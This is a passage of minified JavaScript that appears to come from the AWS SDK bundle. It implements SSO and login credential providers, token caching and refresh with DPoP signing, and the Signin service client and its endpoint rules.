A.sso_role_name==="string"),ZLA=!1,an8=async({ssoStartUrl:A,ssoSession:K,ssoAccountId:q,ssoRegion:Y,ssoRoleName:z,ssoClient:w,clientConfig:H,parentClientConfig:J,profile:O,filepath:X,configFilepath:$,ignoreCache:_,logger:G})=>{let Z,W="To refresh this SSO session run aws sso login with the corresponding profile.";if(K)try{let b=await _p5.fromSso({profile:O,filepath:X,configFilepath:$,ignoreCache:_})();Z={accessToken:b.token,expiresAt:new Date(b.expiration).toISOString()}}catch(b){throw new Jy.CredentialsProviderError(b.message,{tryNextLink:ZLA,logger:G})}else try{Z=await m81.getSSOTokenFromFile(A)}catch(b){throw new Jy.CredentialsProviderError("The SSO session associated with this profile is invalid. To refresh this SSO session run aws sso login with the corresponding profile.",{tryNextLink:ZLA,logger:G})}if(new Date(Z.expiresAt).getTime()-Date.now()<=0)throw new Jy.CredentialsProviderError("The SSO session associated with this profile has expired. To refresh this SSO session run aws sso login with the corresponding profile.",{tryNextLink:ZLA,logger:G});let{accessToken:D}=Z,{SSOClient:j,GetRoleCredentialsCommand:M}=await Promise.resolve().then(function(){return rn8()}),P=w||new j(Object.assign({},H??{},{logger:H?.logger??J?.logger,region:H?.region??Y,userAgentAppId:H?.userAgentAppId??J?.userAgentAppId})),f;try{f=await P.send(new M({accountId:q,roleName:z,accessToken:D}))}catch(b){throw new Jy.CredentialsProviderError(b,{tryNextLink:ZLA,logger:G})}let{roleCredentials:{accessKeyId:N,secretAccessKey:T,sessionToken:C,expiration:R,credentialScope:x,accountId:y}={}}=f;if(!N||!T||!C||!R)throw new Jy.CredentialsProviderError("SSO returns an invalid temporary credential.",{tryNextLink:ZLA,logger:G});let B={accessKeyId:N,secretAccessKey:T,sessionToken:C,expiration:new Date(R),...x&&{credentialScope:x},...y&&{accountId:y}};if(K)on8.setCredentialFeature(B,"CREDENTIALS_SSO","s");else on8.setCredentialFeature(B,"CREDENTIALS_SSO_LEGACY","u");return B},tn8=(A,K)=>{let{sso_start_url:q,sso_account_id:Y,sso_region:z,sso_role_name:w}=A;if(!q||!Y||!z||!w)throw new Jy.CredentialsProviderError(`Profile is configured with invalid SSO credentials. Required parameters "sso_account_id", "sso_region", "sso_role_name", "sso_start_url". Got ${Object.keys(A).join(", ")} Reference: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html`,{tryNextLink:!1,logger:K});return A},Gp5=(A={})=>async({callerClientConfig:K}={})=>{A.logger?.debug("@aws-sdk/credential-provider-sso - fromSSO");let{ssoStartUrl:q,ssoAccountId:Y,ssoRegion:z,ssoRoleName:w,ssoSession:H}=A,{ssoClient:J}=A,O=m81.getProfileName({profile:A.profile??K?.profile});if(!q&&!Y&&!z&&!w&&!H){let $=(await m81.parseKnownFiles(A))[O];if(!$)throw new Jy.CredentialsProviderError(`Profile ${O} was not found.`,{logger:A.logger});if(!sn8($))throw new Jy.CredentialsProviderError(`Profile ${O} is not configured with SSO credentials.`,{logger:A.logger});if($?.sso_session){let M=(await m81.loadSsoSessionData(A))[$.sso_session],P=` configurations in profile ${O} and sso-session ${$.sso_session}`;if(z&&z!==M.sso_region)throw new Jy.CredentialsProviderError("Conflicting SSO region"+P,{tryNextLink:!1,logger:A.logger});if(q&&q!==M.sso_start_url)throw new Jy.CredentialsProviderError("Conflicting SSO start_url"+P,{tryNextLink:!1,logger:A.logger});$.sso_region=M.sso_region,$.sso_start_url=M.sso_start_url}let{sso_start_url:_,sso_account_id:G,sso_region:Z,sso_role_name:W,sso_session:D}=tn8($,A.logger);return an8({ssoStartUrl:_,ssoSession:D,ssoAccountId:G,ssoRegion:Z,ssoRoleName:W,ssoClient:J,clientConfig:A.clientConfig,parentClientConfig:A.parentClientConfig,profile:O,filepath:A.filepath,configFilepath:A.configFilepath,ignoreCache:A.ignoreCache,logger:A.logger})}else if(!q||!Y||!z||!w)throw new Jy.CredentialsProviderError('Incomplete configuration. The fromSSO() argument hash must include "ssoStartUrl", "ssoAccountId", "ssoRegion", "ssoRoleName"',{tryNextLink:!1,logger:A.logger});else return an8({ssoStartUrl:q,ssoSession:H,ssoAccountId:Y,ssoRegion:z,ssoRoleName:w,ssoClient:J,clientConfig:A.clientConfig,parentClientConfig:A.parentClientConfig,profile:O,filepath:A.filepath,configFilepath:A.configFilepath,ignoreCache:A.ignoreCache,logger:A.logger})};Zp5.fromSSO=Gp5;Zp5.isSsoProfile=sn8;Zp5.validateSsoProfile=tn8});var en8=v((Tp5)=>{Tp5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Tp5.HttpAuthLocation||(Tp5.HttpAuthLocation={}));Tp5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(Tp5.HttpApiKeyAuthLocation||(Tp5.HttpApiKeyAuthLocation={}));Tp5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(Tp5.EndpointURLScheme||(Tp5.EndpointURLScheme={}));Tp5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(Tp5.AlgorithmId||(Tp5.AlgorithmId={}));var Mp5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>Tp5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>Tp5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},Pp5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},Vp5=(A)=>{return Mp5(A)},fp5=(A)=>{return Pp5(A)};Tp5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(Tp5.FieldPosition||(Tp5.FieldPosition={}));var Np5="__smithy_context";Tp5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(Tp5.IniSectionType||(Tp5.IniSectionType={}));Tp5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(Tp5.RequestHandlerProtocol||(Tp5.RequestHandlerProtocol={}));Tp5.SMITHY_CONTEXT_KEY=Np5;Tp5.getDefaultClientConfiguration=Vp5;Tp5.resolveDefaultRuntimeConfig=fp5});var Yr8=v((Sp5)=>{var Cp5=en8(),Lp5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},Rp5=(A)=>{return{httpHandler:A.httpHandler()}};class Ar8{name;kind;values;constructor({name:A,kind:K=Cp5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class Kr8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class F81{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new F81({...A,headers:{...A.headers}});if(K.query)K.query=yp5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return F81.clone(this)}}function yp5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class qr8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function Ip5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}Sp5.Field=Ar8;Sp5.Fields=Kr8;Sp5.HttpRequest=F81;Sp5.HttpResponse=qr8;Sp5.getHttpHandlerExtensionConfiguration=Lp5;Sp5.isValidHostname=Ip5;Sp5.resolveHttpHandlerRuntimeConfig=Rp5});var Ua1=v((zr8)=>{Object.defineProperty(zr8,"__esModule",{value:!0});zr8.resolveHttpAuthSchemeConfig=zr8.defaultSigninHttpAuthSchemeProvider=zr8.defaultSigninHttpAuthSchemeParametersProvider=void 0;var Fp5=aw(),Qa1=WD(),Qp5=async(A,K,q)=>{return{operation:(0,Qa1.getSmithyContext)(K).operation,region:await(0,Qa1.normalizeProvider)(A.region)()||(()=>{throw Error("expected `region` to be configured for `aws.auth#sigv4`")})()}};zr8.defaultSigninHttpAuthSchemeParametersProvider=Qp5;function Up5(A){return{schemeId:"aws.auth#sigv4",signingProperties:{name:"signin",region:A.region},propertiesExtractor:(K,q)=>({signingProperties:{config:K,context:q}})}}function pp5(A){return{schemeId:"smithy.api#noAuth"}}var dp5=(A)=>{let K=[];switch(A.operation){case"CreateOAuth2Token":{K.push(pp5(A));break}default:K.push(Up5(A))}return K};zr8.defaultSigninHttpAuthSchemeProvider=dp5;var cp5=(A)=>{let K=(0,Fp5.resolveAwsSdkSigV4Config)(A);return Object.assign(K,{authSchemePreference:(0,Qa1.normalizeProvider)(A.authSchemePreference??[])})};zr8.resolveHttpAuthSchemeConfig=cp5});var Mr8=v((Dr8)=>{Object.defineProperty(Dr8,"__esModule",{value:!0});Dr8.ruleSet=void 0;var Wr8="required",MD="fn",PD="argv",YQ="ref",Hr8=!0,Jr8="isSet",H8A="booleanEquals",bOA="error",Hn="endpoint",Oy="tree",p81="PartitionResult",pa1="stringEquals",Or8={[Wr8]:!0,default:!1,type:"boolean"},Xr8={[Wr8]:!1,type:"string"},$r8={[YQ]:"Endpoint"},da1={[MD]:H8A,[PD]:[{[YQ]:"UseFIPS"},!0]},ca1={[MD]:H8A,[PD]:[{[YQ]:"UseDualStack"},!0]},jD={},la1={[MD]:"getAttr",[PD]:[{[YQ]:p81},"name"]},Q81={[MD]:H8A,[PD]:[{[YQ]:"UseFIPS"},!1]},U81={[MD]:H8A,[PD]:[{[YQ]:"UseDualStack"},!1]},_r8={[MD]:"getAttr",[PD]:[{[YQ]:p81},"supportsFIPS"]},Gr8={[MD]:H8A,[PD]:[!0,{[MD]:"getAttr",[PD]:[{[YQ]:p81},"supportsDualStack"]}]},Zr8=[{[YQ]:"Region"}],np5={version:"1.0",parameters:{UseDualStack:Or8,UseFIPS:Or8,Endpoint:Xr8,Region:Xr8},rules:[{conditions:[{[MD]:Jr8,[PD]:[$r8]}],rules:[{conditions:[da1],error:"Invalid Configuration: FIPS and custom endpoint are not supported",type:bOA},{rules:[{conditions:[ca1],error:"Invalid Configuration: Dualstack and custom endpoint are not supported",type:bOA},{endpoint:{url:$r8,properties:jD,headers:jD},type:Hn}],type:Oy}],type:Oy},{rules:[{conditions:[{[MD]:Jr8,[PD]:Zr8}],rules:[{conditions:[{[MD]:"aws.partition",[PD]:Zr8,assign:p81}],rules:[{conditions:[{[MD]:pa1,[PD]:[la1,"aws"]},Q81,U81],endpoint:{url:"https://{Region}.signin.aws.amazon.com",properties:jD,headers:jD},type:Hn},{conditions:[{[MD]:pa1,[PD]:[la1,"aws-cn"]},Q81,U81],endpoint:{url:"https://{Region}.signin.amazonaws.cn",properties:jD,headers:jD},type:Hn},{conditions:[{[MD]:pa1,[PD]:[la1,"aws-us-gov"]},Q81,U81],endpoint:{url:"https://{Region}.signin.amazonaws-us-gov.com",properties:jD,headers:jD},type:Hn},{conditions:[da1,ca1],rules:[{conditions:[{[MD]:H8A,[PD]:[Hr8,_r8]},Gr8],rules:[{endpoint:{url:"https://signin-fips.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:jD,headers:jD},type:Hn}],type:Oy},{error:"FIPS and DualStack are enabled, but this partition does not support one or both",type:bOA}],type:Oy},{conditions:[da1,U81],rules:[{conditions:[{[MD]:H8A,[PD]:[_r8,Hr8]}],rules:[{endpoint:{url:"https://signin-fips.{Region}.{PartitionResult#dnsSuffix}",properties:jD,headers:jD},type:Hn}],type:Oy},{error:"FIPS is enabled but this partition does not support FIPS",type:bOA}],type:Oy},{conditions:[Q81,ca1],rules:[{conditions:[Gr8],rules:[{endpoint:{url:"https://signin.{Region}.{PartitionResult#dualStackDnsSuffix}",properties:jD,headers:jD},type:Hn}],type:Oy},{error:"DualStack is enabled but this partition does not support DualStack",type:bOA}],type:Oy},{endpoint:{url:"https://signin.{Region}.{PartitionResult#dnsSuffix}",properties:jD,headers:jD},type:Hn}],type:Oy}],type:Oy},{error:"Invalid Configuration: Missing Region",type:bOA}],type:Oy}]};Dr8.ruleSet=np5});var fr8=v((Pr8)=>{Object.defineProperty(Pr8,"__esModule",{value:!0});Pr8.defaultEndpointResolver=void 0;var rp5=gb(),ia1=Ky(),op5=Mr8(),ap5=new ia1.EndpointCache({size:50,params:["Endpoint","Region","UseDualStack","UseFIPS"]}),sp5=(A,K={})=>{return ap5.get(A,()=>(0,ia1.resolveEndpoint)(op5.ruleSet,{endpointParams:A,logger:K.logger}))};Pr8.defaultEndpointResolver=sp5;ia1.customEndpointFunctions.aws=rp5.awsEndpointFunctions});var kr8=v((vr8)=>{Object.defineProperty(vr8,"__esModule",{value:!0});vr8.getRuntimeConfig=void 0;var tp5=aw(),ep5=eF(),Ad5=Gz(),Kd5=ej(),qd5=tE(),Nr8=D81(),Tr8=_z(),Yd5=Ua1(),zd5=fr8(),wd5=(A)=>{return{apiVersion:"2023-01-01",base64Decoder:A?.base64Decoder??Nr8.fromBase64,base64Encoder:A?.base64Encoder??Nr8.toBase64,disableHostPrefix:A?.disableHostPrefix??!1,endpointProvider:A?.endpointProvider??zd5.defaultEndpointResolver,extensions:A?.extensions??[],httpAuthSchemeProvider:A?.httpAuthSchemeProvider??Yd5.defaultSigninHttpAuthSchemeProvider,httpAuthSchemes:A?.httpAuthSchemes??[{schemeId:"aws.auth#sigv4",identityProvider:(K)=>K.getIdentityProvider("aws.auth#sigv4"),signer:new tp5.AwsSdkSigV4Signer},{schemeId:"smithy.api#noAuth",identityProvider:(K)=>K.getIdentityProvider("smithy.api#noAuth")||(async()=>({})),signer:new Ad5.NoAuthSigner}],logger:A?.logger??new Kd5.NoOpLogger,protocol:A?.protocol??new ep5.AwsRestJsonProtocol({defaultNamespace:"com.amazonaws.signin"}),serviceId:A?.serviceId??"Signin",urlParser:A?.urlParser??qd5.parseUrl,utf8Decoder:A?.utf8Decoder??Tr8.fromUtf8,utf8Encoder:A?.utf8Encoder??Tr8.toUtf8}};vr8.getRuntimeConfig=wd5});var hr8=v((Ir8)=>{Object.defineProperty(Ir8,"__esModule",{value:!0});Ir8.getRuntimeConfig=void 0;var Hd5=Uz(),Jd5=Hd5.__importDefault(_81()),Cr8=aw(),Lr8=oF(),d81=l0(),Od5=aF(),Rr8=kZ(),J8A=NV(),yr8=zT(),Xd5=sF(),$d5=db(),_d5=kr8(),Gd5=ej(),Zd5=KQ(),Wd5=ej(),Dd5=(A)=>{(0,Wd5.emitWarningIfUnsupportedVersion)(process.version);let K=(0,Zd5.resolveDefaultsModeConfig)(A),q=()=>K().then(Gd5.loadConfigsForDefaultMode),Y=(0,_d5.getRuntimeConfig)(A);(0,Cr8.emitWarningIfUnsupportedVersion)(process.version);let z={profile:A?.profile,logger:Y.logger};return{...Y,...A,runtime:"node",defaultsMode:K,authSchemePreference:A?.authSchemePreference??(0,J8A.loadConfig)(Cr8.NODE_AUTH_SCHEME_PREFERENCE_OPTIONS,z),bodyLengthChecker:A?.bodyLengthChecker??Xd5.calculateBodyLength,defaultUserAgentProvider:A?.defaultUserAgentProvider??(0,Lr8.createDefaultUserAgentProvider)({serviceId:Y.serviceId,clientVersion:Jd5.default.version}),maxAttempts:A?.maxAttempts??(0,J8A.loadConfig)(Rr8.NODE_MAX_ATTEMPT_CONFIG_OPTIONS,A),region:A?.region??(0,J8A.loadConfig)(d81.NODE_REGION_CONFIG_OPTIONS,{...d81.NODE_REGION_CONFIG_FILE_OPTIONS,...z}),requestHandler:yr8.NodeHttpHandler.create(A?.requestHandler??q),retryMode:A?.retryMode??(0,J8A.loadConfig)({...Rr8.NODE_RETRY_MODE_CONFIG_OPTIONS,default:async()=>(await q()).retryMode||$d5.DEFAULT_RETRY_MODE},A),sha256:A?.sha256??Od5.Hash.bind(null,"sha256"),streamCollector:A?.streamCollector??yr8.streamCollector,useDualstackEndpoint:A?.useDualstackEndpoint??(0,J8A.loadConfig)(d81.NODE_USE_DUALSTACK_ENDPOINT_CONFIG_OPTIONS,z),useFipsEndpoint:A?.useFipsEndpoint??(0,J8A.loadConfig)(d81.NODE_USE_FIPS_ENDPOINT_CONFIG_OPTIONS,z),userAgentAppId:A?.userAgentAppId??(0,J8A.loadConfig)(Lr8.NODE_APP_ID_CONFIG_OPTIONS,z)}};Ir8.getRuntimeConfig=Dd5});var Yo8=v((ea1)=>{var br8=BF(),jd5=mF(),Md5=gF(),xr8=Ub(),Pd5=l0(),na1=Gz(),xOA=DJ(),Vd5=rF(),ar8=qy(),ur8=kZ(),Jn=ej(),Br8=Ua1(),fd5=hr8(),mr8=Yy(),gr8=P81(),Nd5=(A)=>{return Object.assign(A,{useDualstackEndpoint:A.useDualstackEndpoint??!1,useFipsEndpoint:A.useFipsEndpoint??!1,defaultSigningName:"signin"})},Td5={UseFIPS:{type:"builtInParams",name:"useFipsEndpoint"},Endpoint:{type:"builtInParams",name:"endpoint"},Region:{type:"builtInParams",name:"region"},UseDualStack:{type:"builtInParams",name:"useDualstackEndpoint"}},vd5=(A)=>{let{httpAuthSchemes:K,httpAuthSchemeProvider:q,credentials:Y}=A;return{setHttpAuthScheme(z){let w=K.findIndex((H)=>H.schemeId===z.schemeId);if(w===-1)K.push(z);else K.splice(w,1,z)},httpAuthSchemes(){return K},setHttpAuthSchemeProvider(z){q=z},httpAuthSchemeProvider(){return q},setCredentials(z){Y=z},credentials(){return Y}}},Ed5=(A)=>{return{httpAuthSchemes:A.httpAuthSchemes(),httpAuthSchemeProvider:A.httpAuthSchemeProvider(),credentials:A.credentials()}},kd5=(A,K)=>{let q=Object.assign(mr8.getAwsRegionExtensionConfiguration(A),Jn.getDefaultExtensionConfiguration(A),gr8.getHttpHandlerExtensionConfiguration(A),vd5(A));return K.forEach((Y)=>Y.configure(q)),Object.assign(A,mr8.resolveAwsRegionExtensionConfiguration(q),Jn.resolveDefaultRuntimeConfig(q),gr8.resolveHttpHandlerRuntimeConfig(q),Ed5(q))};class ra1 extends Jn.Client{config;constructor(...[A]){let K=fd5.getRuntimeConfig(A||{});super(K);this.initConfig=K;let q=Nd5(K),Y=xr8.resolveUserAgentConfig(q),z=ur8.resolveRetryConfig(Y),w=Pd5.resolveRegionConfig(z),H=br8.resolveHostHeaderConfig(w),J=ar8.resolveEndpointConfig(H),O=Br8.resolveHttpAuthSchemeConfig(J),X=kd5(O,A?.extensions||[]);this.config=X,this.middlewareStack.use(xOA.getSchemaSerdePlugin(this.config)),this.middlewareStack.use(xr8.getUserAgentPlugin(this.config)),this.middlewareStack.use(ur8.getRetryPlugin(this.config)),this.middlewareStack.use(Vd5.getContentLengthPlugin(this.config)),this.middlewareStack.use(br8.getHostHeaderPlugin(this.config)),this.middlewareStack.use(jd5.getLoggerPlugin(this.config)),this.middlewareStack.use(Md5.getRecursionDetectionPlugin(this.config)),this.middlewareStack.use(na1.getHttpAuthSchemeEndpointRuleSetPlugin(this.config,{httpAuthSchemeParametersProvider:Br8.defaultSigninHttpAuthSchemeParametersProvider,identityProviderConfigProvider:async($)=>new na1.DefaultIdentityProviderConfig({"aws.auth#sigv4":$.credentials})})),this.middlewareStack.use(na1.getHttpSigningPlugin(this.config))}destroy(){super.destroy()}}var uOA=class A extends Jn.ServiceException{constructor(K){super(K);Object.setPrototypeOf(this,A.prototype)}},sr8=class A extends uOA{name="AccessDeniedException";$fault="client";error;constructor(K){super({name:"AccessDeniedException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error}},tr8=class A extends uOA{name="InternalServerException";$fault="server";error;constructor(K){super({name:"InternalServerException",$fault:"server",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error}},er8=class A extends uOA{name="TooManyRequestsError";$fault="client";error;constructor(K){super({name:"TooManyRequestsError",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error}},Ao8=class A extends uOA{name="ValidationException";$fault="client";error;constructor(K){super({name:"ValidationException",$fault:"client",...K});Object.setPrototypeOf(this,A.prototype),this.error=K.error}},Cd5="AccessDeniedException",Ld5="AccessToken",Rd5="CreateOAuth2Token",yd5="CreateOAuth2TokenRequest",Id5="CreateOAuth2TokenRequestBody",Sd5="CreateOAuth2TokenResponseBody",hd5="CreateOAuth2TokenResponse",bd5="InternalServerException",xd5="RefreshToken",ud5="TooManyRequestsError",Bd5="ValidationException",Fr8="accessKeyId",Qr8="accessToken",oa1="client",Ur8="clientId",pr8="codeVerifier",md5="code",On="error",dr8="expiresIn",cr8="grantType",gd5="http",aa1="httpError",lr8="idToken",OT="jsonName",l81="message",c81="refreshToken",ir8="redirectUri",Fd5="server",nr8="secretAccessKey",rr8="sessionToken",Ko8="smithy.ts.sdk.synthetic.com.amazonaws.signin",Qd5="tokenInput",Ud5="tokenOutput",or8="tokenType",AM="com.amazonaws.signin",qo8=[0,AM,xd5,8,0],pd5=[-3,AM,Cd5,{[On]:oa1},[On,l81],[0,0]];xOA.TypeRegistry.for(AM).registerError(pd5,sr8);var dd5=[3,AM,Ld5,8,[Fr8,nr8,rr8],[[0,{[OT]:Fr8}],[0,{[OT]:nr8}],[0,{[OT]:rr8}]]],cd5=[3,AM,yd5,0,[Qd5],[[()=>ld5,16]]],ld5=[3,AM,Id5,0,[Ur8,cr8,md5,ir8,pr8,c81],[[0,{[OT]:Ur8}],[0,{[OT]:cr8}],0,[0,{[OT]:ir8}],[0,{[OT]:pr8}],[()=>qo8,{[OT]:c81}]]],id5=[3,AM,hd5,0,[Ud5],[[()=>nd5,16]]],nd5=[3,AM,Sd5,0,[Qr8,or8,dr8,c81,lr8],[[()=>dd5,{[OT]:Qr8}],[0,{[OT]:or8}],[1,{[OT]:dr8}],[()=>qo8,{[OT]:c81}],[0,{[OT]:lr8}]]],rd5=[-3,AM,bd5,{[On]:Fd5,[aa1]:500},[On,l81],[0,0]];xOA.TypeRegistry.for(AM).registerError(rd5,tr8);var od5=[-3,AM,ud5,{[On]:oa1,[aa1]:429},[On,l81],[0,0]];xOA.TypeRegistry.for(AM).registerError(od5,er8);var ad5=[-3,AM,Bd5,{[On]:oa1,[aa1]:400},[On,l81],[0,0]];xOA.TypeRegistry.for(AM).registerError(ad5,Ao8);var sd5=[-3,Ko8,"SigninServiceException",0,[],[]];xOA.TypeRegistry.for(Ko8).registerError(sd5,uOA);var td5=[9,AM,Rd5,{[gd5]:["POST","/v1/token",200]},()=>cd5,()=>id5];class sa1 extends Jn.Command.classBuilder().ep(Td5).m(function(A,K,q,Y){return[ar8.getEndpointPlugin(q,A.getEndpointParameterInstructions())]}).s("Signin","CreateOAuth2Token",{}).n("SigninClient","CreateOAuth2TokenCommand").sc(td5).build(){}var ed5={CreateOAuth2TokenCommand:sa1};class ta1 extends ra1{}Jn.createAggregatedClient(ed5,ta1);var Ac5={AUTHCODE_EXPIRED:"AUTHCODE_EXPIRED",INSUFFICIENT_PERMISSIONS:"INSUFFICIENT_PERMISSIONS",INVALID_REQUEST:"INVALID_REQUEST",SERVER_ERROR:"server_error",TOKEN_EXPIRED:"TOKEN_EXPIRED",USER_CREDENTIALS_CHANGED:"USER_CREDENTIALS_CHANGED"};Object.defineProperty(ea1,"$Command",{enumerable:!0,get:function(){return Jn.Command}});Object.defineProperty(ea1,"__Client",{enumerable:!0,get:function(){return Jn.Client}});ea1.AccessDeniedException=sr8;ea1.CreateOAuth2TokenCommand=sa1;ea1.InternalServerException=tr8;ea1.OAuth2ErrorCode=Ac5;ea1.Signin=ta1;ea1.SigninClient=ra1;ea1.SigninServiceException=uOA;ea1.TooManyRequestsError=er8;ea1.ValidationException=Ao8});var zs1=v((Wc5)=>{var $c5=fV(),Xn=dX(),qs1=pb(),_c5=Yr8(),i81=CA("node:crypto"),As1=CA("node:fs"),Gc5=CA("node:os"),Ks1=CA("node:path");class Ys1{profileData;init;callerClientConfig;static REFRESH_THRESHOLD=300000;constructor(A,K,q){this.profileData=A,this.init=K,this.callerClientConfig=q}async loadCredentials(){let A=await this.loadToken();if(!A)throw new Xn.CredentialsProviderError(`Failed to load a token for session ${this.loginSession}, please re-authenticate using aws login`,{tryNextLink:!1,logger:this.logger});let K=A.accessToken,q=Date.now();if(new Date(K.expiresAt).getTime()-q<=Ys1.REFRESH_THRESHOLD)return this.refresh(A);return{accessKeyId:K.accessKeyId,secretAccessKey:K.secretAccessKey,sessionToken:K.sessionToken,accountId:K.accountId,expiration:new Date(K.expiresAt)}}get logger(){return this.init?.logger}get loginSession(){return this.profileData.login_session}async refresh(A){let{SigninClient:K,CreateOAuth2TokenCommand:q}=await Promise.resolve().then(() => o(Yo8())),{logger:Y,userAgentAppId:z}=this.callerClientConfig??{},H=(($)=>{return $?.metadata?.handlerProtocol==="h2"})(this.callerClientConfig?.requestHandler)?void 0:this.callerClientConfig?.requestHandler,J=this.profileData.region??await this.callerClientConfig?.region?.()??process.env.AWS_REGION,O=new K({credentials:{accessKeyId:"",secretAccessKey:""},region:J,requestHandler:H,logger:Y,userAgentAppId:z,...this.init?.clientConfig});this.createDPoPInterceptor(O.middlewareStack);let X={tokenInput:{clientId:A.clientId,refreshToken:A.refreshToken,grantType:"refresh_token"}};try{let $=await O.send(new q(X)),{accessKeyId:_,secretAccessKey:G,sessionToken:Z}=$.tokenOutput?.accessToken??{},{refreshToken:W,expiresIn:D}=$.tokenOutput??{};if(!_||!G||!Z||!W)throw new Xn.CredentialsProviderError("Token refresh response missing required fields",{logger:this.logger,tryNextLink:!1});let j=(D??900)*1000,M=new Date(Date.now()+j),P={...A,accessToken:{...A.accessToken,accessKeyId:_,secretAccessKey:G,sessionToken:Z,expiresAt:M.toISOString()},refreshToken:W};await this.saveToken(P);let f=P.accessToken;return{accessKeyId:f.accessKeyId,secretAccessKey:f.secretAccessKey,sessionToken:f.sessionToken,accountId:f.accountId,expiration:M}}catch($){if($.name==="AccessDeniedException"){let _=$.error,G;switch(_){case"TOKEN_EXPIRED":G="Your session has expired. Please reauthenticate.";break;case"USER_CREDENTIALS_CHANGED":G="Unable to refresh credentials because of a change in your password. Please reauthenticate with your new password.";break;case"INSUFFICIENT_PERMISSIONS":G="Unable to refresh credentials due to insufficient permissions. You may be missing permission for the 'CreateOAuth2Token' action.";break;default:G=`Failed to refresh token: ${String($)}. Please re-authenticate using \`aws login\``}throw new Xn.CredentialsProviderError(G,{logger:this.logger,tryNextLink:!1})}throw new Xn.CredentialsProviderError(`Failed to refresh token: ${String($)}. Please re-authenticate using aws login`,{logger:this.logger})}}async loadToken(){let A=this.getTokenFilePath();try{let K;try{K=await qs1.readFile(A,{ignoreCache:this.init?.ignoreCache})}catch{K=await As1.promises.readFile(A,"utf8")}let q=JSON.parse(K),Y=["accessToken","clientId","refreshToken","dpopKey"].filter((z)=>!q[z]);if(!q.accessToken?.accountId)Y.push("accountId");if(Y.length>0)throw new Xn.CredentialsProviderError(`Token validation failed, missing fields: ${Y.join(", ")}`,{logger:this.logger,tryNextLink:!1});return q}catch(K){throw new Xn.CredentialsProviderError(`Failed to load token from ${A}: ${String(K)}`,{logger:this.logger,tryNextLink:!1})}}async saveToken(A){let K=this.getTokenFilePath(),q=Ks1.dirname(K);try{await As1.promises.mkdir(q,{recursive:!0})}catch(Y){}await As1.promises.writeFile(K,JSON.stringify(A,null,2),"utf8")}getTokenFilePath(){let A=process.env.AWS_LOGIN_CACHE_DIRECTORY??Ks1.join(Gc5.homedir(),".aws","login","cache"),K=Buffer.from(this.loginSession,"utf8"),q=i81.createHash("sha256").update(K).digest("hex");return Ks1.join(A,`${q}.json`)}derToRawSignature(A){let K=2;if(A[K]!==2)throw Error("Invalid DER signature");K++;let q=A[K++],Y=A.subarray(K,K+q);if(K+=q,A[K]!==2)throw Error("Invalid DER signature");K++;let z=A[K++],w=A.subarray(K,K+z);Y=Y[0]===0?Y.subarray(1):Y,w=w[0]===0?w.subarray(1):w;let H=Buffer.concat([Buffer.alloc(32-Y.length),Y]),J=Buffer.concat([Buffer.alloc(32-w.length),w]);return Buffer.concat([H,J])}createDPoPInterceptor(A){A.add((K)=>async(q)=>{if(_c5.HttpRequest.isInstance(q.request)){let Y=q.request,z=`${Y.protocol}//${Y.hostname}${Y.port?`:${Y.port}`:""}${Y.path}`,w=await this.generateDpop(Y.method,z);Y.headers={...Y.headers,DPoP:w}}return K(q)},{step:"finalizeRequest",name:"dpopInterceptor",override:!0})}async generateDpop(A="POST",K){let q=await this.loadToken();try{let 